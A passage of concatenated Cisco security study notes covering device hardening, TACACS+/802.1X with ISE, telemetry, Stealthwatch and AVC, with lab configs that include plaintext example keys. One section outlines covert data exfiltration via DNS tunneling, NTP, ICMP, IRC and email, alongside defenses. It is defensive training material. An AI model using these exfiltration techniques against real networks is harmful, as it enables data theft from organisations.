172.20.1.57 eq 49 permit udp host 172.20.1.56 host 172.20.1.57 eq 161 permit udp host 172.20.1.56 host 172.20.1.57 eq 162 permit udp host 172.20.1.40 host 172.20.1.57 eq 123 ``` ### Sample Management ACL - Logging ``` text ip access-list extended Management-ACL-In permit tcp host 172.20.1.15 host 172.20.1.57 eq 22 permit udp host 172.20.1.55 host 172.20.1.57 eq 1812 permit udp host 172.20.1.55 host 172.20.1.57 eq 1813 permit ip 172.20.1.0 0.0.0.255 host 172.20.1.57 log ``` ### Management Plane Protection ``` text (config)#control-plane host (config-cp-host)#management-interface gi 0/1 allow ssh snmp ``` ### Add Lines to In Band ACLs denying SSH to the Device ``` text ip access-list extended INBAND-ACL-TEMPLATE deny tcp any host 172.20.1.57 eq 22 deny tcp any host 192.168.1.15 eq 22 ``` --- # Configuring AAA on Cisco IOS Device for Use with Cisco ISE Source: docs/networking/cisco/core-security/network-security-with-cisco-ios/2.-configuring-aaa-on-cisco-ios-device-for-use-with-cisco-ise.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/network-security-with-cisco-ios/2.-configuring-aaa-on-cisco-ios-device-for-use-with-cisco-ise/ ## Configuring Cisco ISE to Support TACACS
![configuring aaa on cisco ios device for use with cisco ise](_images/configuring-aaa-on-cisco-ios-device-for-use-with-cisco-ise-1.png)
Enable TACACS+
![configuring aaa on cisco ios device for use with cisco ise](_images/configuring-aaa-on-cisco-ios-device-for-use-with-cisco-ise-2.png)
Define a network device
![configuring aaa on cisco ios device for use with cisco ise](_images/configuring-aaa-on-cisco-ios-device-for-use-with-cisco-ise-3.png)
Configure identity groups
![configuring aaa on cisco ios device for use with cisco ise](_images/configuring-aaa-on-cisco-ios-device-for-use-with-cisco-ise-4.png)
Configure identities
## Configuring Policy Sets in ISE for Device Administration
![configuring aaa on cisco ios device for use with cisco ise](_images/configuring-aaa-on-cisco-ios-device-for-use-with-cisco-ise-5.png)
Configure TACACS Profiles
![configuring aaa on cisco ios device for use with cisco ise](_images/configuring-aaa-on-cisco-ios-device-for-use-with-cisco-ise-6.png)
Configure TACACS Command Sets
![configuring aaa on cisco ios device for use with cisco ise](_images/configuring-aaa-on-cisco-ios-device-for-use-with-cisco-ise-7.png)
Configure Device Admin Policy Sets
## Configuring an IOS Device to Use TACACS+ for Administration ``` text Globo-HQ(config)#tacacs server GloboISE1 Globo-HQ(config-server-tacacs)#address ipv4 172.20.1.55 Globo-HQ(config-server-tacacs)#key GloboISE123 Globo-HQ(config-server-tacacs)#exit Globo-HQ(config)#aaa group server tacacs+ GloboISEGroup Globo-HQ(config-sg-tacacs+)#server name GloboISE1 Globo-HQ(config-sg-tacacs+)#ip vrf forwarding Mgmt-intf Globo-HQ(config-sg-tacacs+)#ip tacacs source-interface gig 0/1 Globo-HQ(config)#aaa authentication login default group GloboISEGroup local Globo-HQ(config)#aaa authentication enable default group GloboISEGroup enable Globo-HQ(config)#aaa authorization exec default group GloboISEGroup local if-authenticated Globo-HQ(confia)#aaa authorization console Globo-HQ(config)#aaa authorization config-commands Globo-HQ(config)#aaa authorization commands 0 default group GloboISEGroup local if-authenticated Globo-HQ(config)#aaa authorization commands 1 default group GloboISEGroup local if-authenticated Globo-HQ(config)#aaa authorization commands 4 default group GloboISEGroup local if-authenticated Globo-HQ(config)#aaa authorization commands 15 default group GloboISEGroup local if-authenticated Globo-HQ(config)#aaa accounting exec default start-stop group GloboISEGroup Globo-HQ(config)#aaa accounting commands 0 default start-stop group GloboISEGroup Globo-HQ(config)#aaa accounting commands 1 default start-stop group GloboISEGroup Globo-HQ(config)#aaa accounting commands 4 default start-stop group GloboISEGroup Globo-HQ(config)#aaa accounting commands 15 default start-stop group GloboISEGroup ``` --- # Configuring Management Protocols on a Cisco IOS Device Source: docs/networking/cisco/core-security/network-security-with-cisco-ios/3.-configuring-management-protocols-on-a-cisco-ios-device.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/network-security-with-cisco-ios/3.-configuring-management-protocols-on-a-cisco-ios-device/ ## Configuring SNMPv3 Users on a Cisco Router or Switch ### SNMPv3 - SNMP Users - Defines credentials and algorithms - SNMP Groups - Associates with SNMP Users with SNMP Views - SNMP Views - Defines the information that the SNMP user can access - All information is stored in the Management Information Base (MIB) - Object Identifiers (OID) correspond to specific information about a router - OIDs are stored in a hierarchical tree. OIDs lower in the tree are included with OIDs above it
![configuring management protocols on a cisco ios device](_images/configuring-management-protocols-on-a-cisco-ios-device-1.png)
SNMP Configuration on Cisco Prime
``` text Globo-HO(confia)#snmp-server view EVERTHING iso included Globo-HQ(config)#snmp-server group Write-EVERYTHING v3 priv read EVERYTHING write EVERYTHING Globo-HQ(config)#snmp-server user SNMP-Write Write-EVERYTHING v3 auth sha Globo123 priv aes 256 Globo123 ```
![configuring management protocols on a cisco ios device](_images/configuring-management-protocols-on-a-cisco-ios-device-2.png)
Syncronization Complete
## Configuring NTP Authentication ``` text Globo-HQ(config)#ntp server vrf Mgmt-intf 172.20.1.51 Globo-HQ(config)#ntp authentication-key 1 md5 Globo123 Globo-HQ(config)#ntp trusted-key 1 Globo-HQ(config)#ntp authenticate Globo-HQ(config)#ntp server vrf Mgmt-intf 172.20.1.51 key 1 Globo-HQ(config)#do show ntp associations detail ``` ## Securing CDP on a Cisco Router or Switch ``` text Globo-Core#show cdp neigh Globo-Core#show cdp neigh gi 0/1 detail Globo-HQ(config)#no cdp run Globo-HQ(config)#cdp run Globo-HQ(config)#int gi 0/1 Globo-HQ(config-if)#no cdp enable Globo-HQ(config-if)#cdp enable Globo-HQ(config-if)#exit Globo-HQ(config)#cdp tlv-list Mgmt-Only Globo-HQ(config-tlv-list)#address Globo-HQ(config-tlv-list)#capability Globo-HQ(config-tlv-list)#cos Globo-HQ(config-tlv-list)#duplex Globo-HQ(config-tlv-list)#ext-port Globo-HQ(config-tlv-list)#hell Globo-HQ(config-tlv-list)#ip Globo-HQ(config-tlv-list)#nativ Globo-HQ(config-tlv-list)#plat Globo-HQ(config-tlv-list)#port Globo-HQ(config-tlv-list)#power Globo-HQ(config-tlv-list)#powernet Globo-HQ(config-tlv-list)#spare- Globo-HQ(config-tlv-list)#trust Globo-HQ(config-tlv-list)#version Globo-HQ(config-tlv-list)#vtp Globo-HQ(config-tlv-list)#vvid Globo-HQ(config)#int gi 0/1 Globo-HQ(config-if)#cdp filter-tlv-list Mgmt-Only Globo-Core#clear cdp table Globo-Core#show cdp neigh Globo-Core#show cdp neigh gi 0/1 detail Device ID: Globo-HQ.globomantics.com Entry address(es): Interface: GigabitEthernet0/1 Holdtime 135 sec advertisement version: 2 Management address(es): IP address: 172.20.1.57 Total cdp entries displayed 1 ``` ## Using SCP to Transfer Files Globo-HQ(config)#ip ssh source-interface gig 0/1 Globo-HQ(config)#exit Globo-HQ#dir Globo-HQ#copy startup-config scp: Address or name of remote host \[\]? 172.20.1.15 Destination username \[caleb\]? Destination filename \[globo-hq-confg\]? Writing globo-hq-confg Password: ## Configuring DHCP and DNS on an IOS Device ``` text Globo-Core(config)#int vlan 172 Globo-Core(config-if)#ip add 172.20.1.189 255.255.255.0 Globo-Core(config-if)#no shut Globo-Core(config-if)#exit Globo-Core(config)#ip dhcp excluded-address 172.20.1.1 172.20.1.200 Globo-Core(config)#ip dhcp excluded-address 172.20.1.210 172.20.1.255 Globo-Core(config)#ip dhcp pool Mgmt-Hosts Globo-Core(dhcp-config)#network 172.20.1.0 255.255.255.0 Globo-Core(dhcp-config)#default-router 172.20.1.1 Globo-Core(dhcp-config)#dns-server 172.20.1.57 Globo-Core(dhcp-config)#domain-name globomantics.com Globo-Core(dhcp-config)#option 150 ip 172.20.1.110 Globo-Core(dhcp-config)#lease 700 Globo-Core(config)#do show ip dhcp binding Globo-HQ(config)#ip dns server Globo-HQ(config)#ip domain-lookup Globo-HQ(config)#ip name-server 8.8.8.8 Globo-HQ(config)#ip host Globo-ISE 172.20.1.55 ``` --- # Managing Cisco IOS Devices with Cisco Prime Infrastructure Source: docs/networking/cisco/core-security/network-security-with-cisco-ios/4.-managing-cisco-ios-devices-with-cisco-prime-infrastructure.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/network-security-with-cisco-ios/4.-managing-cisco-ios-devices-with-cisco-prime-infrastructure/ ## Adding a Device to Cisco Prime Infrastructure
![managing cisco ios devices with cisco prime infrastructure](_images/managing-cisco-ios-devices-with-cisco-prime-infrastructure-1.png)
Add a profile
![managing cisco ios devices with cisco prime infrastructure](_images/managing-cisco-ios-devices-with-cisco-prime-infrastructure-2.png)
Config SSH
![managing cisco ios devices with cisco prime infrastructure](_images/managing-cisco-ios-devices-with-cisco-prime-infrastructure-3.png)
Config HTTPS
![managing cisco ios devices with cisco prime infrastructure](_images/managing-cisco-ios-devices-with-cisco-prime-infrastructure-4.png)
Add a device
![managing cisco ios devices with cisco prime infrastructure](_images/managing-cisco-ios-devices-with-cisco-prime-infrastructure-5.png)
Specify the profile & add device
## Using Cisco Prime Infrastructure to Make Changes on IOS Devices
![managing cisco ios devices with cisco prime infrastructure](_images/managing-cisco-ios-devices-with-cisco-prime-infrastructure-6.png)
Configure an existing device
![managing cisco ios devices with cisco prime infrastructure](_images/managing-cisco-ios-devices-with-cisco-prime-infrastructure-7.png)
Device's config
``` text Globo-HQ#show ip int bri Interface IP-Address 0K? Method Status Protocol GigabitEthernet0/0 192.168.1.100 YES manual up up GigabitEthernet0/1 172.20.1.57 YES manual up up Loopback100 1.1.1.1 YES manual up up ``` ## Using Cisco Prime Templates to Make Changes on IOS Devices **Current config on device:** ``` text Globo-HQ-MPLS#show run sec aaa aaa new-model aaa session-id common ```
![managing cisco ios devices with cisco prime infrastructure](_images/managing-cisco-ios-devices-with-cisco-prime-infrastructure-8.png)
Configuring a device template
![managing cisco ios devices with cisco prime infrastructure](_images/managing-cisco-ios-devices-with-cisco-prime-infrastructure-9.png)
Creating a composite template
![managing cisco ios devices with cisco prime infrastructure](_images/managing-cisco-ios-devices-with-cisco-prime-infrastructure-10.png)
Deploying config to devices
**Config deployed:** ``` text Globo-HQ-MPLS#show run | sec aaa aaa new-model aaa group server tacacs+ GloboISEGroup server name GloboISE1 ip vrf forwarding Mgmt-intf ip tacacs source-interface GigabitEthernet0/1 aaa authentication login default group GloboISEGroup local aaa authentication enable default group GloboISEGroup enable aaa authorization console aaa authorization config-commands aaa authorization exec default group GloboISEGroup local if-authenticated aaa authorization commands default group GloboISEGroup local if-authenticated aaa authorization commands default group GloboISEGroup local if-authenticated aaa authorization commands 4 default group GloboISEGroup local if-authenticated aaa authorization commands 15 default group GloboISEGroup local if-authenticated aaa accounting exec default start-stop group GloboISEGroup aaa accounting commands 0 default start-stop group GloboISEGroup aaa accounting commands 1 default start-stop group GloboISEGroup aaa accounting commands 4 default start-stop group GloboISEGroup aaa accounting commands 15 default start-stop group GloboISEGroup aaa session-id common ``` ## Using Prime to Upgrade IOS Devices **We want to upgrade this image:** ``` text sh ver System image file is "flash:c3750e-universalk9-mz.152-4.E6/c3750e-universalk9-mz.152-4.E6.bin" ```
![managing cisco ios devices with cisco prime infrastructure](_images/managing-cisco-ios-devices-with-cisco-prime-infrastructure-11.png)
Downloading software images via Cisco
![managing cisco ios devices with cisco prime infrastructure](_images/managing-cisco-ios-devices-with-cisco-prime-infrastructure-12.png)
Downloading software from file
![managing cisco ios devices with cisco prime infrastructure](_images/managing-cisco-ios-devices-with-cisco-prime-infrastructure-13.png)
Distribute the image and follow the wizard
![managing cisco ios devices with cisco prime infrastructure](_images/managing-cisco-ios-devices-with-cisco-prime-infrastructure-14.png)
Activate the image and follow the wizard
**The image is upgraded:** ``` text sh ver System image file is "flash:c3750e-universalk9-mz.152-4.E9.bin" ``` --- # Network Security with Cisco IOS Source: docs/networking/cisco/core-security/network-security-with-cisco-ios/index.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/network-security-with-cisco-ios/ --- # Describing Identity Management, CoA, and Device Compliance Source: docs/networking/cisco/core-security/secure-network-access-using-cisco-ise/1.-describing-identity-management-coa-and-device-compliance.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/secure-network-access-using-cisco-ise/1.-describing-identity-management-coa-and-device-compliance/ ## What Is 802.1X? - 802.1X allows for layer 2 network access control to be centrally managed. **Supplicant** Software that is able to communicate with 802.1X. It is installed on the device trying to gain network access. **Authenticator** The Network Access Device (NAD) that the supplicant is connecting to. The authenticator passes information between the supplicant and the authentication server. **Authentication Server** Centralized server responsible for authenticating each device on the network, and authorizing what they are allowed to do. ![image1](_images/describing-identity-management-coa-and-device-compliance-1.png) ## Benefits of 802.1X and Cisco ISE - Users and devices are authenticated and authorized at a central location - No need to update switchports or Wi-Fi passwords - Can apply different settings to different devices ### Network Security without 802.X - Port security and Wi-Fi passwords are not scalable - Wi-Fi password changes need to be distributed - Interfaces need to be updated with the correct MAC address - MAC addresses are easily spoofed - Administrative overhead ### Device Profiling - Cisco ISE is able to probe devices - Determines what type of device it is - Operating system and version - Smart devices or computers - Can start to use profiling information to make authorization decisions ### Device Posturing - NAC agents installed on device collect information: - Antivirus signatures, security patches, registry settings, applications installed, etc. **Unknown** - No NAC agent installed or running - VLAN would only allow NAC agent to be installed **Non-Compliant** - Device doesn’t meet minimum requirements - VLAN would only allow for updates and correct settings to be installed **Compliant** - Device meets minimum requirements - Settings applied would be based off of policy ### Change of Authorization (CoA) - Allows authorization of device to change after the initial RADIUS access-accept message - RFC 3576 & 5176 ### Bring Your Own Device (BYOD) - Allows network users to bring their personal devices to join the network - Security checks of these devices is done via ISE - Administrators don’t need to manually complete - Can be a tiered approach ### Guest Services - Allows visitors to quickly gain access without the need to have a permanent account created **Non-Authenticated** - Guest is unknown - Click through a portal to gain access **Authenticated** - Guest would register - Can apply different policies to different types of guests - Long-term Contractor VS. Daily Visitor - Utilize Central Web Server ## Different EAP Types **Native EAP** Passes information immediately **Tunneled EAP** Forms an outer tunnel, then uses a Native EAP method as the inner EAP tunnel ### Native EAP Types - EAP-MD5 - Uses MD5 hash to pass credentials and other sensitive information. - EAP-TLS - Uses certificates on both supplicant and authentication server to establish TLS tunnel. Both sides of tunnel are able to authenticate each other. - EAP-MSCHAPV2 - Uses Microsoft’s implementation of CHAP to pass Active Directory credentials. - EAP-GTC - Similar to EAP-MSCHAPv2, but allows authentication with any identity store not just Active Directory. Both EAP-MSCHAPv2 and EAP-GTC need to be inside of a tunneled EAP protocol to work with Cisco ISE. ### Two Different EAP Tunnels **Protected EAP (PEAP)** - Created by Microsoft - Creates a TLS tunnel only using the authentication server’s certificate - Commonly used with EAP-MSCHAPV2 as the inner tunnel - Can also be used with EAP-TLS or EAP-GTC, **EAP-FAST** - Created by Cisco - Allows for faster wireless roaming between access points. Uses Protected Access Cookies (PACs) - Creates a TLS tunnel only using the authentication server’s certificate - EAP-MSCHAPV2 is a popular inner protocol - EAP-GTC can be used to connect to non-Microsoft identity stores - EAP-TLS is popular because it allows for EAP Chaining - EAP chaining is where both the device and user credentials are being passed at the same time ## MAC Authentication Bypass & WebAuth - Uses MAC Address to authenticate - must be added to identity store using ISE - No supplicant - EAPol sent every 30sec per 3 attempts to see if device is 802.1x capable - Authenticator assumes that device doesn’t support 802.1x and puts MAC Address in RADIUS Access-Request message ### Drawbacks of MAB - Weaker posture and requires more administrative overhead - Each MAC address has to be in ISE - Not difficult for an attacker to spoof the MAC address of a legitimate device ### Web Authentication (WebAuth) - Local WebAuth (LWA) and Central WebAuth (CWA) - Allows user to enter username and password to provide identification - Additional policies can assigned based off of the identification ### LWA Versions | Local WebAuth | Local WebAuth with a Centralized Portal | |------------------------------------|---------------------------------------------------------------------------------------------| | Portal hosted on the authenticator | Authenticator redirects user to central server to enter credentials | | Authenticator generates RADIUS | Portal sends credentials back to | | Access-Request message containing | authenticator using either HTTP | | username and password | Post or hidden I-frame | | | Authenticator then generates RADIUS Access-Request message containing username and password | | The authenticator is generating | | | the RADIUS Access-Request message | | ### CWA Process - Device without a supplicant connects to the network - 802.1X times out, authenticator generates a MAB Access-Request message - ISE responds with RADIUS Message - Within RADIUS messages is a URL Redirection to portal located on ISE - User enters credentials, and they are stored in ISE and tied to the MAB session - ISE issues a CoA reauth message, causing a new MAB request to be sent - MAB request contains the same session ID as the first request - ISE associates new MAB request to the user’s credentials that were previously entered - ISE now has all information needed to perform policy lookup and issue final authorization ## Introduction to Cisco TrustSec - Tag devices based on their business purpose - All traffic from the device will include this tag - Use Security/Scalable Group Tag (SGT) - Policies can then be created to shape traffic between devices with different SGTs ### TrustSec Benefits - Keeping up with ACLs can be administratively cumbersome - IP space for each scenario would need to be carved out - ACLs would need to be created accordingly to match each scenario - TrustSec allows for devices to have the same SGT regardless of where they are - Policies would be configured centrally, and dynamically pushed to all network devices in the network - Configured in a matrix, so it is easy to see which SGTs do or don’t have access to each other --- # Configuring Cisco ISE for 802.1X Source: docs/networking/cisco/core-security/secure-network-access-using-cisco-ise/2.-configuring-cisco-ise-for-802.1x.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/secure-network-access-using-cisco-ise/2.-configuring-cisco-ise-for-802.1x/ ## Policy Sets, Authentication Policies, and Authorization Policies ### Policy Sets - Contain authentication and authorization policies - If-then statements ### Policy Set Logic - Authorization policy rules are only applied if the device matches the policy set - Evaluated in a top down fashion - Use specific policy sets - Prevents large, confusing rule-sets ## ISE Identity Sources & Active Directory Integration
![configuring cisco ise for 802.1x](_images/configuring-cisco-ise-for-802.1x-1.png)
Joining ISE to AD
## Adding Network Access Devices To ISE
![configuring aaa on cisco ios device for use with cisco ise](../network-security-with-cisco-ios/_images/configuring-aaa-on-cisco-ios-device-for-use-with-cisco-ise-2.png)
Define a network device
## Creating Authentication Policies In ISE
![configuring aaa on cisco ios device for use with cisco ise](../network-security-with-cisco-ios/_images/configuring-aaa-on-cisco-ios-device-for-use-with-cisco-ise-7.png)
Configure Device Admin Policy Sets
## Configuring dACLs, Authorization Profiles, and Authorization Policies
![configuring cisco ise for 802.1x](_images/configuring-cisco-ise-for-802.1x-2.png)
dACL
![configuring aaa on an ftd appliance for use with cisco ise](../network-security-with-cisco-firepower/_images/configuring-aaa-on-an-ftd-appliance-for-use-with-cisco-ise-1.png)
Authorisation Policy
--- # Configuring Cisco IOS for 802.1X and MAB Source: docs/networking/cisco/core-security/secure-network-access-using-cisco-ise/3.-configuring-cisco-ios-for-802.1x-and-mab.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/secure-network-access-using-cisco-ise/3.-configuring-cisco-ios-for-802.1x-and-mab/ ## Configuring Global Settings on a Cisco Switch to Support 802.1X ``` text Globo-Access (config)#aaa new-model Globo-Access (config)#aaa authentication dot1x default group radius Globo-Access (config)#aaa authorization network default group radius Globo-Access (config)#aaa accounting dot1x default start-stop group radius Globo-Access (config)#aaa accounting update newinfo periodic 1440 Globo-Access(config)#username dot1x-test password Globo123 Globo-Access (config)#radius server Globo-ISE-DOT1X Globo-Access(config-radius-server)#address ipv4 172.20.1.55 auth-port 1812 acct-port 1813 Globo-Access(config-radius-server)#key GloboDot1x Globo-Access(config-radius-server)#automate-test username dot1x-test probe-on Globo-Access (config-radius-server)#exit Globo-Access (config)#aaa group server radius DOT1X-Group Globo-Access (config-sg-radius)#server name Globo-ISE-DOT1X Globo-Access(config)#radius-server dead-criteria time 5 tries 3 Globo-Access(config)#radius-server deadtime 10 Globo-Access(config)#aaa server radius dynamic-author Globo-Access(config-locsvr-da-radius)#client 172.20.1.55 Globo-Access(config-locsvr-da-radius)#server-key GloboDot1x Globo-Access(config-locsvr-da-radius)#exit Globo-Access(config)#ip radius source-interface gi 1/0/24 Globo-Access(config)#snmp-server trap-source gi 1/0/24 Globo-Access(config)#snmp-server source-interface informs gi 1/0/24 Globo-Access(config)#radius-server vsa send authentication Globo-Access(config)#radius-server vsa send accounting Globo-Access(config)#dot1x system-auth-control ``` ## Configuring a Cisco Switchport to Use 802.1X and MAB ### Host Authentication Modes **Multi-host** All devices are allowed as long as the 1st MAC address Authenticated **Multi-auth** Every device would need to authenticate **Multi-domain** One device for DATA and one device for VOICE domains **Single-host** Only one device per switchport **Open authentication mode** self-explanatory ``` text Globo-Access#conf t Enter configuration commands, one per line. End with CNTL/Z. Globo-Access (config)#int gi 1/0/2 Globo-Access(config-if)#switchport host Globo-Access(config-if)#authentication priority dot1x mab Globo-Access(config-if)#authentication order dot1x mab Globo-Access(config-if)#authentication event fail action next-method Globo-Access(config-if)#authentication event server dead action authorize vlan 30 Globo-Access(config-if)#authentication event server alive action reinitialize Globo-Access(config-if)#authentication host-mode multi-domain Globo-Access(config-if)#authentication violation restrict Globo-Access(config-if)#authentication open Globo-Access(config-if)#mab Globo-Access(config-if)#dot1x pae authenticator Globo-Access(config-if)#dot1x timeout tx-period 10 Globo-Access(config-if)#authentication port-control auto ``` ## Configuring ISE to Support MAB & Course Summary
![configuring cisco ios for 802.1x and mab](_images/configuring-cisco-ios-for-802.1x-and-mab-1.png)
MAB Authentication Policy
--- # Secure Network Access Using Cisco ISE Source: docs/networking/cisco/core-security/secure-network-access-using-cisco-ise/index.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/secure-network-access-using-cisco-ise/ --- # Explaining Exfiltration Techniques Source: docs/networking/cisco/core-security/secure-network-access-visibility-and-enforcement/1.-explaining-exfiltration-techniques.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/secure-network-access-visibility-and-enforcement/1.-explaining-exfiltration-techniques/ ## Exfiltrating Data Using DNS, NTP, ICMP, or IRC ### DNS Tunneling - DNS resolves hostnames to IP addresses - Usually uses port 53 - Infect a computer - Resolve DNS for attacker’s website - Local DNS server will forward DNS queries to attacker’s DNS - DNS Queries contain sensitive data - Smaller queries in order to transport large amounts of data - Attacker now has the compromised data **Cisco’s Umbrella** \* DNS attacks are becoming difficult for NGFW and NGIPS to detect \* 200 billion daily DNS requests \* Large data set of malicious DNS servers \* Organizations would forward DNS requests to Umbrella \* Malicious queries won’t be forwarded ### NTP Covert Channels - Initiation pattern known by malicious server and client - NTP request gets sent to malicious server from client - NTP Response & int. pattern gets sent to client - Malicious client will generate NTP request including the int. pattern - NTP Request & Int. Pattern from malicious client - NTP Server will begin encoding data in its NTP responses - NTP Response & encoded data to malicious client - Even legitimate NTP responses will contain encoded data - Malicious client then sees: - NTP Response & int. pattern to client - NTP Request from client ### ICMP Echo Manipulation - Input data into payload of ICMP echo requests - Segment data over multiple echo requests - Larger sized echoes are suspicious - Server receiving echo requests will place data back together - May send an ICMP echo reply - Inspect ICMP payload using deep packet inspection ### Internet Relay Chat - Client will authenticate with malicious server - Data will flow between the two parties - Block all IRC traffic or: - Whitelist only specific IRC servers ## Exfiltrating Data Using HTTPS, FTP, SFTP, SSH, or SCP ### HTTPs **Problems** \* Exfiltrate data over encrypted TLS session \* Send data to cloud file hosting **Solutions** \* Decrypt the data and implement DLP \* Use Cognitive Threat Analytics ### FTP SFTP SCP - Designed to transfer files - SFTP and SCP are both encrypted - Makes detection even harder - Mitigation techniques - Implement SSH decryption - Deny SSH to outside hosts - WSA and Umbrella ## Exfiltrating Data Using Email - Disgruntled employee - Sends emails that contain data - Attacker compromises computers - Auto forwarding rule - Manipulate the SMTP protocol as well ### Email Security - Email Security Appliance (ESA) - Cisco Email Security (CES) --- # Describing the Benefits of Network Telemetry Source: docs/networking/cisco/core-security/secure-network-access-visibility-and-enforcement/2.-describing-the-benefits-of-network-telemetry.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/secure-network-access-visibility-and-enforcement/2.-describing-the-benefits-of-network-telemetry/ ## Introduction to Network Telemetry ### Network Telemetry The technologies that are used in order to collection information from devices and then consume that information. **Model-Based Telemetry** Network telemetry that uses some sort of data model to share the information. **What’s the benefit?** - Less resource intensive - Gather as much information for analysis - Used for SLAs and compliance - Determine how to shape traffic - Root cause analysis - Accurate prediction models **Network Telemetry Compoents** - Data source and object - Data generation and processing - Encoding and exporting - Storage, analysis and querying - Data configuration and subscription ## Information That Makes up Network Telemetry ### Management Plane Protocols - Traditional protocols not sufficient - SNMP too infrequent & small scope - Syslog not standardized - NETCONF/RESTCONF using YANG - gNMI ### Control Plane Protocols BGP Monitoring Protocol (BMP) ### Data Plane Protocols - NetFlow - Advanced Visibility and Control (AVC) ## Intro to Data Models and YANG ### Data Model The explicit instructions of the structure, syntax or semantics of the data. Other systems will use the model in order to properly access the data. ### Attributes of a Good Data Model - Accurate - Clear - Efficient - Simple - Limited in scope ### YANG - Is made up of different modules that are used for a specific purpose - Multiple YANG modules make up a YANG Model - YANG is used to agree on how to interact with the data **Example Cisco Switch YANG Model** - 802.1X Module - AAA Module - ACL Module ``` text container timeout { description "Various Timeouts"; leaf auth-period { description "Timeout for authenticator reply"; type uint16; leaf tx-period { description "Timeout for supplicant retries"; type uint16; } } container password { description "Set the authentication password"; leaf secret { type string; } } ``` - Container to define dot1x timeouts - Descriptions can be used to aid in understanding Leafs represent attributes that CAN be configured - Type specifies the data value that is expected. In this case it is an integer - tx-period leaf is used to define the timeout period for the supplicant - Expecting an integer “dotlx timeout tx-period 10” - Separate container to define passwords secret leaf is used to define the password - expecting a string data type as the value ## Intro to NETCONF, RESTCONF, and gRPC ### NETCONF - NETCONF uses SSH protocol, usually port 830 - NETCONF uses XML to encode the data **Example XML sent to device** ``` text 10 ``` **Example device reply** ``` text ``` ### RESTCONF RESTCONF uses REST principles and HTTP methods: GET, PUT, POST, PATCH & DELETE **Example XML sent to device** ``` text HTTP PUT restconf/api/running/dot1x "data": { "timeouts": [ { "tx-period": "10" } ] } ``` **Example device reply** ``` text HTTP 201 CREATED ``` ### gRPC and gNMI - gNMI is a subset of Google’s gRPC to transfer YANG modeled data. - Can use JSON or protobuf to encode the data ### Dial-In vs Dial-Out - Doesn’t describe how the subscription information flows **Dial-Out** - Network device would initiate session with management server - Statically configured to connect to each server - Network device would reestablish connection if it was lost **Dial-In** - Management server initiates session with network device - Method is dynamic for the networking device, no config needed - Management server would be responsible for reestablishing connection --- # Benefitting from Additional Cisco Security Products Source: docs/networking/cisco/core-security/secure-network-access-visibility-and-enforcement/3.-benefitting-from-additional-cisco-security-products.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/secure-network-access-visibility-and-enforcement/3.-benefitting-from-additional-cisco-security-products/ ## Cisco Stealthwatch ### Stealthwatch Components - Stealthwatch Management Console - Stealthwatch Flow Collector - Flows Per Second License - Stealthwatch Flow Sensor - UDP Director ## AnyConnect Network Visibility Module and Stealthwatch Cloud ### Network Visibility Module - Installs on a host system as an application - Configure what data to collect and where to send it - Gain information on processes, PIDs, services ### Stealthwatch Cloud - Behavior analytics cloud offering - Uses native telemetry sources - AWS VPC flow logs - Azure NGS flow logs ### Stealthwatch Cloud Modeling - Forecast: Predicts future behavior based on past activities - Group: Compares entity/host to similar ones - Role: Categorizes role based on traffic seen - Rule: Detects when policies are violated - Consistency: When a device veers heavily from the baseline/normal behavior ## Cognitive Threat Analytics and Encrypted Traffic Analytics ### Cognitive Threat Analytics - CTA for short - Uses machine learning and data sharing - Analyzes network and endpoint telemetry - Correlates your activity with known threats - Provides risk assessment for threats - cognitive.cisco.com ### Encrypted Traffic Analytics - ETA for short - Analyzes encrypted traffic - Doesn’t need to decrypt packets - Helps with compliance - See what cipher suites are being used **What You Need Far ETA** - Network device capable of enhanced NetFlow - Internet connection for Stealthwatch - CTA/ETA turned on - Enhanced NetFlow, which is sent to the Flow Collector and contains metadata and packet stream information. ## Cisco PxGrid Provides a unified framework that enables ecosystem partners to integrate with, then share context either unidirectionally or bidirectionally without the need to adopt special APIs. ### pxGrid Ecosystem - ISE is the brain behind Cisco’s pxGrid implementation! - Subscribers and publishers - No changing the data format - Information can be consumed by all desired subscribers ### Adaptive Network Control - ISE capability that uses special policies to restrict or allow access on the network - Quarantine policy as an example; cut off access via RADIUS CoA for endpoint or user in question - Do not need to change overall network policies to enforce! ### Rapid Threat Containment - Provides additional automation for discovering and mitigating threats - Learn, Detect, Respond, Contain - Uses CVSS and STIX standards ## Cisco Umbrella Investigate Helps fill the gaps left by other security technologies ### What Does It Do? - Gives you risk scores, request patterns, domain context information, key events, and more - Looks for relationships between the malware, domains, IP addresses, networks, and more ### Guilt? - Guilt by association - Guilt by inference - Patterns of guilt --- # Implementing Cisco Application Visibility and Control (AVC) Source: docs/networking/cisco/core-security/secure-network-access-visibility-and-enforcement/4.-implementing-cisco-application-visibility-and-control-avc.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/secure-network-access-visibility-and-enforcement/4.-implementing-cisco-application-visibility-and-control-avc/ ## Introduction to Cisco’s Application Visibility and Control ### Why Do We Need AVC? - Traditional networks focus on controlling traffic between layers 2-4 - QoS also relied on layers 2-4 ### Application Visibility and Control - Framework of Cisco features - Provides additional layer 5-7 information - Uses NBAR (network based application recognition) - Able to used advanced features to determine the application **4 Stages of AVC** - Application Recognition - Metrics Collection - Management and Reporting - Control ## Controlling Application Traffic Using Policy Maps ### QoS Concepts - Control traffic with class-maps and policy-maps - QoS allows the controlling of traffic for limited bandwidth - Delay - Jitter - Packet Loss - Classifying - Marking - Queuing - Policing - Shaping **Enable NBAR on Interfaces** ``` text (config)#interface gigabitethernet 3 (config-if)#ip nbar protocol-discover (config)#interface gigabitethernet 3 (config-if)#service-policy input netbios-policy ``` **Create a Class-Map** ``` text (config)#class-map netbios-class (config-cmap)#match protocol netbios ``` **Create a Policy-Map** ``` text (config)#policy-map netbios-policy (config-pmap)#class netbios-class (config-pmap-c)#set dscp 45 ``` ## Configuring a Switch to Capture and Send Flows - Enable NBAR - Create flow record - Create flow exporter - Create flow monitor - Apply flow monitor to interface ``` text Globo-Core-Router(config)#int gi 3 Globo-Core-Router(config-if)#ip nbar protocol-discovery Globo-Core-Router(config-if)#flow record Globo_Flow_Record 